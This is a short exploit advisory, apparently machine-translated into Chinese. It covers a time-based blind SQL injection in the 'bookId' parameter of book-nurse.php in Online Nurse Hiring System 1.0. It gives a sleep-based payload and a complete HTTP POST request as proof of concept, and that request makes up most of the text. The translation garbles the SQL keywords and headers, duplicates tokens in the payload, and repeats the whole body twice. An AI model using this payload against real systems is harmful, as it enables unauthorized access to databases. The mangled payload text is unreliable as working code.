＃利用title:在线护士招聘系统1.0-'Bookid'基于时间的SQL注入
＃日期: 03/10/2023
＃利用作者: Alperen Yozgat
＃供应商homepage3360 https://phpgurukul.com/online-nurse-hiring-system-system-system-using-php-and-mysql
＃软件link: https://phpgurukul.com/?sdm_process_download=1download_id=17826
＃版本: 1.0
＃测试在: Kali Linux 6.1.27-1kali1（2023-05-12）X86_64 + XAMPP 7.4.30
＃＃ 描述＃＃
在book-nurse.php页面上，书籍参数容易受到SQL注入漏洞的影响。
##概念证明##
＃在发送有效载荷后，响应时间将增加到至少5秒。
＃paryload: 1'+和+（选择+2667+来自+（select（sleep（5）））rhgj）+and++'vljy'％3d'vljy
post/onhs/book-nurse.php?bookId=1'+ and+（Select+2667+ from+（Select(Sleep(Sleep(5)) rhgj)+and+and+'vljy'%3d'vljy http/1.1
HOST: LOCALHOST
用户- 代理: Mozilla/5.0（X11; Linux X86_64; RV:102.0）壁虎/20100101 Firefox/102.0
ACCEPT:文本/HTML，Application/XHTML+XML，Application/XML; Q=0.9，Image/avif，Image/WebP，/; q=0.8
Accept-Language: en-us，en; q=0.5
Accept-incoding: Gzip，放气
content-type:应用程序/x-www-form-urlenceded
内容长度: 140
cookie: phpsessID=0AB508C4AAA5FDB6C5555ABB909E5CBCE09
Contactname=testContphoneNum=1111111 contemail=test％40Test.comFromdate=2023-10-11todate=2023-10-18timeduration=1patientDesc=3submit=3submit=
＃日期: 03/10/2023
＃利用作者: Alperen Yozgat
＃供应商homepage3360 https://phpgurukul.com/online-nurse-hiring-system-system-system-using-php-and-mysql
＃软件link: https://phpgurukul.com/?sdm_process_download=1download_id=17826
＃版本: 1.0
＃测试在: Kali Linux 6.1.27-1kali1（2023-05-12）X86_64 + XAMPP 7.4.30
＃＃ 描述＃＃
在book-nurse.php页面上，书籍参数容易受到SQL注入漏洞的影响。
##概念证明##
＃在发送有效载荷后，响应时间将增加到至少5秒。
＃paryload: 1'+和+（选择+2667+来自+（select（sleep（5）））rhgj）+and++'vljy'％3d'vljy
post/onhs/book-nurse.php?bookId=1'+ and+（Select+2667+ from+（Select(Sleep(Sleep(5)) rhgj)+and+and+'vljy'%3d'vljy http/1.1
HOST: LOCALHOST
用户- 代理: Mozilla/5.0（X11; Linux X86_64; RV:102.0）壁虎/20100101 Firefox/102.0
ACCEPT:文本/HTML，Application/XHTML+XML，Application/XML; Q=0.9，Image/avif，Image/WebP，/; q=0.8
Accept-Language: en-us，en; q=0.5
Accept-incoding: Gzip，放气
content-type:应用程序/x-www-form-urlenceded
内容长度: 140
cookie: phpsessID=0AB508C4AAA5FDB6C5555ABB909E5CBCE09
Contactname=testContphoneNum=1111111 contemail=test％40Test.comFromdate=2023-10-11todate=2023-10-18timeduration=1patientDesc=3submit=3submit=